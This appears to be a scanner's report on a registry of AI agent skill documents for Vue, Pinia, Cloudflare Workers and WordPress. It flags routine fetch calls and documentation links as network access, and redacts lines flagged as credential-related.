- [Vue.js Teleport - Deferred Teleport](https://vuejs.org/guide/built-ins/teleport.html#deferred-teleport)
packages/autoskills/skills-registry/vue-debug-guides/reference/template-expressions-restrictions.md
- Network accessline 112
## Reference - [Vue.js Template Syntax - Using JavaScript Expressions](https://vuejs.org/guide/essentials/template-syntax.html#using-javascript-expressions) - Network accessline 113
- [Vue.js Template Syntax - Using JavaScript Expressions](https://vuejs.org/guide/essentials/template-syntax.html#using-javascript-expressions) - Network accessline 114
- [Vue.js Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/template-functions-no-side-effects.md
- Network accessline 59
// BAD: Async operation in template async function fetchUserName() { const res = await fetch('/api/user') // Side effect! - Network accessline 60
async function fetchUserName() { const res = await fetch('/api/user') // Side effect! return (await res.json()).name - Network accessline 61
const res = await fetch('/api/user') // Side effect! - Network accessline 123
// Fetch data in lifecycle hook onMounted(async () => { const res = await fetch('/api/user') - Network accessline 124
onMounted(async () => { const res = await fetch('/api/user') userName.value = (await res.json()).name - Network accessline 125
const res = await fetch('/api/user') - Network accessline 185
## Reference - [Vue.js Template Syntax - Calling Functions](https://vuejs.org/guide/essentials/template-syntax.html#calling-functions) - Network accessline 186
- [Vue.js Template Syntax - Calling Functions](https://vuejs.org/guide/essentials/template-syntax.html#calling-functions) - Network accessline 187
- [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/template-ref-null-with-v-if.md
packages/autoskills/skills-registry/vue-debug-guides/reference/template-ref-unwrapping-top-level.md
- Network accessline 103
## Reference - [Vue.js Reactivity Fundamentals - Caveat when Unwrapping in Templates](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-when-unwrapping-in-templates) - Network accessline 104
- [Vue.js Reactivity Fundamentals - Caveat when Unwrapping in Templates](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-when-unwrapping-in-templates)
packages/autoskills/skills-registry/vue-debug-guides/reference/template-ref-v-for-order.md
packages/autoskills/skills-registry/vue-debug-guides/reference/textarea-no-interpolation.md
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-group-flip-inline-elements.md
- Network accessline 150
## Reference - [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions) - Network accessline 151
- [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions) - Network accessline 152
- [MDN CSS Transform - Formal Definition](https://developer.mozilla.org/en-US/docs/Web/CSS/transform#formal_definition)
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-group-move-animation-position-absolute.md
- Network accessline 128
## Reference - [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions) - Network accessline 129
- [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions) - Network accessline 130
- [FLIP Animation Technique](https://aerotwist.com/blog/flip-your-animations/)
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-group-no-default-wrapper-vue3.md
- Network accessline 150
## Reference - [Vue 3 Migration Guide - TransitionGroup Root Element](https://v3-migration.vuejs.org/breaking-changes/transition-group.html) - Network accessline 151
- [Vue 3 Migration Guide - TransitionGroup Root Element](https://v3-migration.vuejs.org/breaking-changes/transition-group.html) - Network accessline 152
- [Vue.js TransitionGroup](https://vuejs.org/guide/built-ins/transition-group.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-js-hooks-done-callback.md
- Network accessline 249
## Reference - [Vue.js Transition - JavaScript Hooks](https://vuejs.org/guide/built-ins/transition.html#javascript-hooks) - Network accessline 250
- [Vue.js Transition - JavaScript Hooks](https://vuejs.org/guide/built-ins/transition.html#javascript-hooks) - Network accessline 251
- [GSAP with Vue](https://gsap.com/resources/vue/)
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-nested-duration.md
- Network accessline 181
## Reference - [Vue.js Transition - Nested Transitions](https://vuejs.org/guide/built-ins/transition.html#nested-transitions-and-explicit-transition-durations) - Network accessline 182
- [Vue.js Transition - Nested Transitions](https://vuejs.org/guide/built-ins/transition.html#nested-transitions-and-explicit-transition-durations)
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-reusable-scoped-style.md
- Network accessline 243
## Reference - [Vue.js Reusable Transitions](https://vuejs.org/guide/built-ins/transition.html#reusable-transitions) - Network accessline 244
- [Vue.js Reusable Transitions](https://vuejs.org/guide/built-ins/transition.html#reusable-transitions) - Network accessline 245
- [Vue.js Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css)
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-router-view-appear.md
- Network accessline 191
## Reference - [Vue Router Transitions](https://router.vuejs.org/guide/advanced/transitions.html) - Network accessline 192
- [Vue Router Transitions](https://router.vuejs.org/guide/advanced/transitions.html) - Network accessline 193
- [Vue.js Transition appear](https://vuejs.org/guide/built-ins/transition.html#transition-on-appear)
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-type-when-mixed.md
packages/autoskills/skills-registry/vue-debug-guides/reference/transition-unmount-hook-timing.md
- Network accessline 111
onMounted(() => { fetch('/api/data', { signal: abortController.signal }) - Network accessline 112
fetch('/api/data', { signal: abortController.signal }) - Network accessline 146
## Reference - [Vue.js GitHub Issue #6260](https://github.com/vuejs/core/issues/6260) - Network accessline 147
- [Vue.js GitHub Issue #6260](https://github.com/vuejs/core/issues/6260) - Network accessline 148
- [Vue.js Transition](https://vuejs.org/guide/built-ins/transition.html) - Network accessline 149
- [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-defineprops-boolean-default-false.md
- Network accessline 222
## Reference - [Vue.js Props - Boolean Casting](https://vuejs.org/guide/components/props.html#boolean-casting) - Network accessline 223
- [Vue.js Props - Boolean Casting](https://vuejs.org/guide/components/props.html#boolean-casting) - Network accessline 224
- [GitHub Issue: Boolean props default to false](https://github.com/vuejs/core/issues/8576) - Network accessline 225
- [TypeScript Vue 3 Props](https://madewithlove.com/blog/typescript-vue-3-and-strongly-typed-props/)
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-defineprops-imported-types-limitations.md
- Network accessline 278
## Reference - [Vue.js TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html) - Network accessline 279
- [Vue.js TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html) - Network accessline 280
- [GitHub Issue: defineProps with imported interfaces](https://github.com/vuejs/core/issues/8612) - Network accessline 281
- [GitHub Issue: Union types in defineProps](https://github.com/vuejs/core/issues/5804)
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-event-handler-explicit-typing.md
- Network accessline 210
## Reference - [Vue.js TypeScript with Composition API - Event Handlers](https://vuejs.org/guide/typescript/composition-api.html#typing-event-handlers) - Network accessline 211
- [Vue.js TypeScript with Composition API - Event Handlers](https://vuejs.org/guide/typescript/composition-api.html#typing-event-handlers) - Network accessline 212
- [MDN Event Reference](https://developer.mozilla.org/en-US/docs/Web/Events) - Network accessline 213
- [TypeScript DOM Types](https://github.com/microsoft/TypeScript/blob/main/lib/lib.dom.d.ts)
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-reactive-no-generic-argument.md
- Network accessline 193
## Reference - [Vue.js TypeScript with Composition API - Typing reactive()](https://vuejs.org/guide/typescript/composition-api.html#typing-reactive) - Network accessline 194
- [Vue.js TypeScript with Composition API - Typing reactive()](https://vuejs.org/guide/typescript/composition-api.html#typing-reactive) - Network accessline 195
- [GitHub Issue: ref with generic type](https://github.com/vuejs/core/discussions/9564) - Network accessline 196
- [Vue TypeScript Caveats Gist](https://gist.github.com/LinusBorg/e041ff635994b50b7cec9383c3a067f1)
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-shallowref-for-dynamic-components.md
- Network accessline 216
- [Vue.js Reactivity in Depth - Reducing Reactivity Overhead](https://vuejs.org/guide/extras/reactivity-in-depth.html#reducing-reactivity-overhead-for-large-immutable-structures) - Network accessline 217
- [Vue.js API - shallowRef](https://vuejs.org/api/reactivity-advanced.html#shallowref) - Network accessline 218
- [Vue.js API - markRaw](https://vuejs.org/api/reactivity-advanced.html#markraw)
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-template-ref-null-handling.md
- Network accessline 247
## Reference - [Vue.js TypeScript with Composition API - Template Refs](https://vuejs.org/guide/typescript/composition-api.html#typing-template-refs) - Network accessline 248
- [Vue.js TypeScript with Composition API - Template Refs](https://vuejs.org/guide/typescript/composition-api.html#typing-template-refs) - Network accessline 249
- [Vue.js Template Refs](https://vuejs.org/guide/essentials/template-refs.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-template-type-casting.md
packages/autoskills/skills-registry/vue-debug-guides/reference/ts-withdefaults-mutable-factory-function.md
- Network accessline 169
## Reference - [Vue.js TypeScript with Composition API - Default Props](https://vuejs.org/guide/typescript/composition-api.html#props-default-values) - Network accessline 170
- [Vue.js TypeScript with Composition API - Default Props](https://vuejs.org/guide/typescript/composition-api.html#props-default-values) - Network accessline 171
- [Vue RFC - Reactive Props Destructure](https://github.com/vuejs/rfcs/discussions/502)
packages/autoskills/skills-registry/vue-debug-guides/reference/undeclared-emits-double-firing.md
- Network accessline 192
## Reference - [Vue 3 Migration - emits Option](https://v3-migration.vuejs.org/breaking-changes/emits-option) - Network accessline 193
- [Vue 3 Migration - emits Option](https://v3-migration.vuejs.org/breaking-changes/emits-option) - Network accessline 194
- [Vue.js Component Events](https://vuejs.org/guide/components/events.html) - Network accessline 195
- [Vue.js Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/use-template-ref-vue35.md
- Network accessline 156
## Reference - [Vue.js Template Refs - Composition API](https://vuejs.org/guide/essentials/template-refs.html#accessing-the-refs) - Network accessline 157
- [Vue.js Template Refs - Composition API](https://vuejs.org/guide/essentials/template-refs.html#accessing-the-refs) - Network accessline 158
- [Vue 3.5 Release Notes](https://blog.vuejs.org/posts/vue-3-5)
packages/autoskills/skills-registry/vue-debug-guides/reference/v-else-must-follow-v-if.md
packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-component-props.md
packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-computed-reverse-sort.md
- Network accessline 85
## Reference - [Vue.js List Rendering - Displaying Filtered/Sorted Results](https://vuejs.org/guide/essentials/list.html#displaying-filtered-sorted-results) - Network accessline 86
- [Vue.js List Rendering - Displaying Filtered/Sorted Results](https://vuejs.org/guide/essentials/list.html#displaying-filtered-sorted-results)
packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-key-attribute.md
- Network accessline 88
## Reference - [Vue.js List Rendering - Key](https://vuejs.org/guide/essentials/list.html#maintaining-state-with-key) - Network accessline 89
- [Vue.js List Rendering - Key](https://vuejs.org/guide/essentials/list.html#maintaining-state-with-key) - Network accessline 90
- [Vue 3 Migration Guide - Key on Template](https://v3-migration.vuejs.org/breaking-changes/key-attribute)
packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-range-starts-at-one.md
packages/autoskills/skills-registry/vue-debug-guides/reference/v-if-null-check-order.md
- Network accessline 169
## Reference - [Vue.js Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html) - Network accessline 170
- [Vue.js Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html) - Network accessline 171
- [MDN - Optional Chaining](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining)
packages/autoskills/skills-registry/vue-debug-guides/reference/v-model-ignores-html-attributes.md
packages/autoskills/skills-registry/vue-debug-guides/reference/v-model-ime-composition.md
packages/autoskills/skills-registry/vue-debug-guides/reference/v-model-number-modifier-behavior.md
packages/autoskills/skills-registry/vue-debug-guides/reference/v-show-template-limitation.md
packages/autoskills/skills-registry/vue-debug-guides/reference/watch-async-cleanup.md
- Network accessline 31
watch(searchQuery, async (query) => { if (query) { const response = await fetch(`/api/search?q=${query}`) - Network accessline 32
if (query) { const response = await fetch(`/api/search?q=${query}`) results.value = await response.json() // May overwrite newer results! - Network accessline 33
const response = await fetch(`/api/search?q=${query}`) - Network accessline 69
loading.value = true try { const response = await fetch(`/api/search?q=${query}`, { - Network accessline 70
try { const response = await fetch(`/api/search?q=${query}`, { signal: controller.signal - Network accessline 71
const response = await fetch(`/api/search?q=${query}`, { - Network accessline 97
fetch(`/api/users/${newId}`, { signal: controller.signal }) - Network accessline 178
## Reference - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing) - Network accessline 179
- [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing) - Network accessline 180
- [Vue.js Watchers - Side Effect Cleanup](https://vuejs.org/api/reactivity-core.html#watcheffect)
packages/autoskills/skills-registry/vue-debug-guides/reference/watch-async-creation-memory-leak.md
- Network accessline 49
// BAD: Watcher in Promise callback fetch('/api/config').then(() => { - Network accessline 50
fetch('/api/config').then(() => { - Network accessline 175
## Reference - [Vue.js Watchers - Stopping a Watcher](https://vuejs.org/guide/essentials/watchers.html#stopping-a-watcher) - Network accessline 176
- [Vue.js Watchers - Stopping a Watcher](https://vuejs.org/guide/essentials/watchers.html#stopping-a-watcher)
packages/autoskills/skills-registry/vue-debug-guides/reference/watch-deep-same-object-reference.md
packages/autoskills/skills-registry/vue-debug-guides/reference/watch-flush-timing.md
packages/autoskills/skills-registry/vue-debug-guides/reference/watch-reactive-property-getter.md
packages/autoskills/skills-registry/vue-debug-guides/reference/watcheffect-async-dependency-tracking.md
- Network accessline 31
// BAD: includeDetails is accessed after await - NOT TRACKED! watchEffect(async () => { const response = await fetch(`/api/users/${userId.value}`) - Network accessline 32
watchEffect(async () => { const response = await fetch(`/api/users/${userId.value}`) const data = await response.json() - Network accessline 33
const response = await fetch(`/api/users/${userId.value}`) - Network accessline 71
// Now these are tracked const response = await fetch(`/api/users/${id}`) - Network accessline 72
const response = await fetch(`/api/users/${id}`) - Network accessline 84
[userId, includeDetails], async ([id, withDetails]) => { const response = await fetch(`/api/users/${id}`) - Network accessline 85
async ([id, withDetails]) => { const response = await fetch(`/api/users/${id}`) const data = await response.json() - Network accessline 86
const response = await fetch(`/api/users/${id}`) - Network accessline 116
// Now safe to do async work const response = await fetch( - Network accessline 117
const response = await fetch( - Network accessline 171
## Reference - [Vue.js Watchers - watchEffect](https://vuejs.org/guide/essentials/watchers.html#watcheffect) - Network accessline 172
- [Vue.js Watchers - watchEffect](https://vuejs.org/guide/essentials/watchers.html#watcheffect) - Network accessline 173
- [Vue.js API - watchEffect](https://vuejs.org/api/reactivity-core.html#watcheffect)
packages/autoskills/skills-registry/vue-debug-guides/reference/watcheffect-flush-post-for-refs.md
- Network accessline 174
## Reference - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing) - Network accessline 175
- [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing) - Network accessline 176
- [Vue.js watchEffect API](https://vuejs.org/api/reactivity-core.html#watcheffect)
packages/autoskills/skills-registry/vue-pinia-best-practices/reference/pinia-no-active-pinia-error.md
- Network accessline 71
export function fetchUser() { return fetch('/api/user', { - Network accessline 72
return fetch('/api/user', { - Network accessline 90
return fetch('/api/user', { - Network accessline 245
## Reference - [Vue Land FAQ - No Active Pinia](https://vue-land.github.io/faq/no-active-pinia) - Network accessline 246
- [Vue Land FAQ - No Active Pinia](https://vue-land.github.io/faq/no-active-pinia) - Network accessline 247
- [Pinia - Using a Store Outside of a Component](https://pinia.vuejs.org/core-concepts/outside-component-usage.html) - Network accessline 248
- [Pinia - Getting Started](https://pinia.vuejs.org/getting-started.html)
packages/autoskills/skills-registry/vue-pinia-best-practices/reference/pinia-setup-store-return-all-state.md
- Network accessline 41
async function login(credentials) { const response = await fetch('/api/login', { - Network accessline 42
const response = await fetch('/api/login', { - Network accessline 88
// Actions async function login(credentials) { const response = await fetch('/api/login', { - Network accessline 89
async function login(credentials) { const response = await fetch('/api/login', { method: 'POST', - Network accessline 90
const response = await fetch('/api/login', { - Network accessline 224
## Reference - [Pinia - Setup Stores](https://pinia.vuejs.org/core-concepts/#setup-stores) - Network accessline 225
- [Pinia - Setup Stores](https://pinia.vuejs.org/core-concepts/#setup-stores) - Network accessline 226
- [Pinia - SSR](https://pinia.vuejs.org/ssr/) - Network accessline 227
- [Mastering Pinia - Common Mistakes](https://masteringpinia.com/blog/top-5-mistakes-to-avoid-when-using-pinia)
packages/autoskills/skills-registry/vue-pinia-best-practices/reference/pinia-store-destructuring-breaks-reactivity.md
- Network accessline 191
## Reference - [Pinia - Destructuring from a Store](https://pinia.vuejs.org/core-concepts/#destructuring-from-a-store) - Network accessline 192
- [Pinia - Destructuring from a Store](https://pinia.vuejs.org/core-concepts/#destructuring-from-a-store) - Network accessline 193
- [Pinia API - storeToRefs](https://pinia.vuejs.org/api/modules/pinia.html#storetorefs)
packages/autoskills/skills-registry/vue-pinia-best-practices/reference/state-url-for-ephemeral-filters.md
- Network accessline 235
## Reference - [VueUse - useRouteQuery](https://vueuse.org/router/useRouteQuery/) - Network accessline 236
- [VueUse - useRouteQuery](https://vueuse.org/router/useRouteQuery/) - Network accessline 237
- [Vue Router - Query Parameters](https://router.vuejs.org/guide/essentials/passing-props.html#passing-props-to-route-components) - Network accessline 238
- [Mastering Pinia - URL State](https://masteringpinia.com/blog/top-5-mistakes-to-avoid-when-using-pinia)
packages/autoskills/skills-registry/vue-pinia-best-practices/reference/state-use-pinia-for-large-apps.md
- Network accessline 259
## Reference - [Vue.js - State Management](https://vuejs.org/guide/scaling-up/state-management.html) - Network accessline 260
- [Vue.js - State Management](https://vuejs.org/guide/scaling-up/state-management.html) - Network accessline 261
- [Pinia Documentation](https://pinia.vuejs.org/) - Network accessline 262
- [Pinia vs Vuex](https://pinia.vuejs.org/introduction.html#comparison-with-vuex)
packages/autoskills/skills-registry/vue-pinia-best-practices/reference/store-method-binding-parentheses.md
- Network accessline 189
## Reference - [Vue.js State Management - Tip on Method Binding](https://vuejs.org/guide/scaling-up/state-management.html#simple-state-management-with-reactivity-api) - Network accessline 190
- [Vue.js State Management - Tip on Method Binding](https://vuejs.org/guide/scaling-up/state-management.html#simple-state-management-with-reactivity-api) - Network accessline 191
- [MDN - this in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)
packages/autoskills/skills-registry/vue/SKILL.md
- Network accessline 5
author: Anthony Fu version: "2026.9.25" source: Generated from https://github.com/vuejs/docs, scripts at https://github.com/antfu/skills - Network accessline 6
version: "2026.9.25" source: Generated from https://github.com/vuejs/docs, scripts at https://github.com/antfu/skills --- - Network accessline 7
source: Generated from https://github.com/vuejs/docs, scripts at https://github.com/antfu/skills
packages/autoskills/skills-registry/vue/references/advanced-patterns.md
- Network accessline 163
<!-- AsyncComponent.vue --> <script setup lang="ts"> const data = await fetch('/api/data').then(r => r.json()) - Network accessline 164
<script setup lang="ts"> const data = await fetch('/api/data').then(r => r.json()) </script> - Network accessline 165
const data = await fetch('/api/data').then(r => r.json()) - Network accessline 317
<!-- Source references: - https://vuejs.org/api/built-in-components.html - Network accessline 318
Source references: - https://vuejs.org/api/built-in-components.html - https://vuejs.org/guide/built-ins/transition.html - Network accessline 319
- https://vuejs.org/api/built-in-components.html - Network accessline 320
- https://vuejs.org/guide/built-ins/transition.html - Network accessline 321
- https://vuejs.org/guide/built-ins/teleport.html - Network accessline 322
- https://vuejs.org/guide/built-ins/suspense.html - Network accessline 323
- https://vuejs.org/guide/built-ins/keep-alive.html - Network accessline 324
- https://vuejs.org/api/built-in-directives.html - Network accessline 325
- https://vuejs.org/guide/reusability/custom-directives.html
packages/autoskills/skills-registry/vue/references/core-new-apis.md
- Network accessline 117
const res = await fetch(`/api/${id.value}`, { signal: controller.signal }) - Network accessline 240
try { const res = await fetch(toValue(url)) - Network accessline 241
const res = await fetch(toValue(url)) - Network accessline 269
<!-- Source references: - https://vuejs.org/api/reactivity-core.html - Network accessline 270
Source references: - https://vuejs.org/api/reactivity-core.html - https://vuejs.org/api/reactivity-advanced.html - Network accessline 271
- https://vuejs.org/api/reactivity-core.html - Network accessline 272
- https://vuejs.org/api/reactivity-advanced.html - Network accessline 273
- https://vuejs.org/api/composition-api-lifecycle.html - Network accessline 274
- https://vuejs.org/guide/reusability/composables.html
packages/autoskills/skills-registry/vue/references/script-setup-macros.md
- Network accessline 201
<script setup lang="ts"> const data = await fetch('/api/data').then(r => r.json()) - Network accessline 202
const data = await fetch('/api/data').then(r => r.json()) - Network accessline 206
<!-- Source references: - https://vuejs.org/api/sfc-script-setup.html - Network accessline 207
Source references: - https://vuejs.org/api/sfc-script-setup.html --> - Network accessline 208
- https://vuejs.org/api/sfc-script-setup.html
packages/autoskills/skills-registry/web-perf/SKILL.md
- Network accessline 12
| Source | How to retrieve | Use for | |--------|----------------|---------| | web.dev | `https://web.dev/articles/vitals` | Core Web Vitals thresholds, definitions | - Network accessline 13
|--------|----------------|---------| | web.dev | `https://web.dev/articles/vitals` | Core Web Vitals thresholds, definitions | | Chrome DevTools docs | `https://developer.chrome.com/docs/devtools/performance` | Tooling APIs, trace analysis - Network accessline 14
| web.dev | `https://web.dev/articles/vitals` | Core Web Vitals thresholds, definitions | - Network accessline 15
| Chrome DevTools docs | `https://developer.chrome.com/docs/devtools/performance` | Tooling APIs, trace analysis | - Network accessline 16
| Lighthouse scoring | `https://developer.chrome.com/docs/lighthouse/performance/performance-scoring` | Score weights, metric thresholds | - Network accessline 22
If the user wants Chrome DevTools MCP setup, consult its [installation guide](https://github.com/ChromeDevTools/chrome-devtools-mcp#quick-start) and use the latest package version. Only change MCP configuration when setup is within the user
packages/autoskills/skills-registry/workers-best-practices/SKILL.md
- Network accessline 20
For missing evidence, consult [Workers best practices](https://developers.cloudflare.com/workers/best-practices/workers-best-practices/index.md) or find the affected product in the [Cloudflare docs directory](https://developers.cloudflare.c - Network accessline 28
Enable [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) and [Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) when creating or preparing a Worker for producti - Network accessline 58
- **Durable Objects**: load the `durable-objects` skill - **Workflows**: see [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) - Network accessline 59
- **Workflows**: see [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md)
packages/autoskills/skills-registry/workers-best-practices/references/configuration.md
- Network accessline 3
Use the project's Wrangler configuration and installed `node_modules/wrangler/config-schema.json` to check fields and binding declarations. Consult current product docs when a field or compatibility requirement needs verification. Doc paths - Access to secretsline 43
[Credential-related source omitted] - Network accessline 46
// Generated by wrangler types — always matches actual config export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 47
export default { async fetch(request: Request, env: Env): Promise<Response> { const value = await env.MY_KV.get("key"); - Network accessline 48
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 52
[Credential-related source omitted] - Network accessline 70
[Credential-related source omitted] - Network accessline 71
[Credential-related source omitted] - Network accessline 72
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Network accessline 139
**Retrieve**: [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) and [Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) for current config options.
packages/autoskills/skills-registry/workers-best-practices/references/platform-apis.md
- Network accessline 21
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 23
- `fetch()` handlers must return `Promise<Response>` - Network accessline 45
| Boundary | What to check | |----------|---------------| | [Queue messages](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md#queuescontenttype) | Match the body to `contentType`: `json` requires JSON-compatib - Network accessline 46
|----------|---------------| | [Queue messages](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md#queuescontenttype) | Match the body to `contentType`: `json` requires JSON-compatible data, `text` a string, `by - Network accessline 47
| [Queue messages](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md#queuescontenttype) | Match the body to `contentType`: `json` requires JSON-compatible data, `text` a string, `bytes` an `ArrayBuffer`, and `v - Network accessline 48
| [Workflow step results](https://developers.cloudflare.com/workflows/build/workers-api/index.md) | Verify the step result against the documented serialization contract and the project's Workflow types before flagging a value. | - Network accessline 49
| [Durable Object KV storage](https://developers.cloudflare.com/durable-objects/api/sqlite-storage-api/index.md#do-kv-async-put) | `storage.put()` supports structured-clone values; do not apply a blanket ban on `Map` or `Set`. | - Network accessline 50
| [Durable Object SQL](https://developers.cloudflare.com/durable-objects/api/sqlite-storage-api/index.md#exec) | Check bound parameters against the SQL API's supported types. Encode objects explicitly for the intended column representation. - Network accessline 51
| [WebSocket messages](https://developers.cloudflare.com/workers/runtime-apis/websockets/index.md#send) | Use `send()` with a string, `ArrayBuffer`, or `ArrayBufferView`; encode objects, for example with `JSON.stringify()`. |
packages/autoskills/skills-registry/workers-best-practices/references/runtime-patterns.md
- Network accessline 3
Consult the sections relevant to the affected behavior. Examples show preferred patterns and common mistakes; **Retrieve** links identify documentation to check when an API, behavior, or limit is uncertain. Doc paths are relative to `https: - Network accessline 21
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 22
const response = await fetch("https://api.example.com/large-dataset"); - Network accessline 29
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 30
const urls = ["https://api.example.com/part-1", "https://api.example.com/part-2"]; - Network accessline 34
ctx.waitUntil((async () => { for (const url of urls) { const response = await fetch(url); - Network accessline 35
for (const url of urls) { const response = await fetch(url); if (response.body) { - Network accessline 36
const response = await fetch(url); - Network accessline 52
// Buffers entire body — crashes on large payloads const response = await fetch("https://api.example.com/large-dataset"); - Network accessline 53
const response = await fetch("https://api.example.com/large-dataset"); - Network accessline 62
**Check**: Workers using Zod for runtime validation depend on [Zod 4.5.0 or later](https://github.com/colinhacks/zod/releases/tag/v4.5.0); older versions retain substantially more heap per schema, so check the installed version when investi - Network accessline 71
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 96
**Check**: no `fetch("https://api.cloudflare.com/client/v4/...")` calls for services available as bindings. - Network accessline 105
// REST API from inside a Worker — unnecessary overhead const response = await fetch( - Network accessline 106
const response = await fetch( - Network accessline 107
"https://api.cloudflare.com/client/v4/accounts/.../r2/buckets/.../objects/my-file", - Access to secretsline 108
[Credential-related source omitted] - Network accessline 123
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 136
**Retrieve**: `/queues/` and `/workflows/` for current APIs. For Workflow-specific rules, see [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md). - Network accessline 142
**Check**: Worker-to-Worker calls use `env.SERVICE_NAME.method()` (RPC) or `env.SERVICE_NAME.fetch()`, not `fetch("https://my-other-worker.example.com/...")`. - Network accessline 174
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 195
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 196
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Access to secretsline 201
[Credential-related source omitted] - Network accessline 209
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 210
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 221
**Check**: async calls in the affected execution path are awaited, returned, or attached to the appropriate lifetime. Use the project's existing floating-promise lint check, such as Oxlint's [typescript/no-floating-promises](https://oxc.rs/ - Network accessline 224
// Correct: await when you need the result const response = await fetch("https://api.example.com/process", { method: "POST", body: JSON.stringify(data) }); - Network accessline 225
const response = await fetch("https://api.example.com/process", { method: "POST", body: JSON.stringify(data) }); - Network accessline 227
// Correct: waitUntil when you don't need the result before responding ctx.waitUntil(fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) })); - Network accessline 228
ctx.waitUntil(fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) })); - Network accessline 233
// Floating promise — result dropped, error swallowed fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) }); - Network accessline 234
fetch("https://api.example.com/webhook", { method: "POST", body: JSON.stringify(data) }); - Network accessline 297
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
packages/autoskills/skills-registry/wp-block-development/references/attributes-and-serialization.md
- Network accessline 15
- https://developer.wordpress.org/block-editor/reference-guides/block-api/block-attributes/
packages/autoskills/skills-registry/wp-block-development/references/block-json.md
- Network accessline 28
- Block metadata: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/ - Network accessline 29
- Block API versions: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/ - Network accessline 30
- Iframe migration guide: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/block-migration-for-iframe-editor-compatibility/ - Network accessline 31
- Block schema index: https://schemas.wp.org/ - Network accessline 45
- Block metadata reference (block.json): - https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/ - Network accessline 46
- https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/ - Network accessline 48
- https://schemas.wp.org/trunk/block.json
packages/autoskills/skills-registry/wp-block-development/references/creating-new-blocks.md
- Network accessline 17
- https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ - Network accessline 33
- https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ - Network accessline 34
- https://make.wordpress.org/core/2024/03/04/a-first-look-at-the-interactivity-api-in-wordpress-6-5/
packages/autoskills/skills-registry/wp-block-development/references/deprecations.md
- Network accessline 18
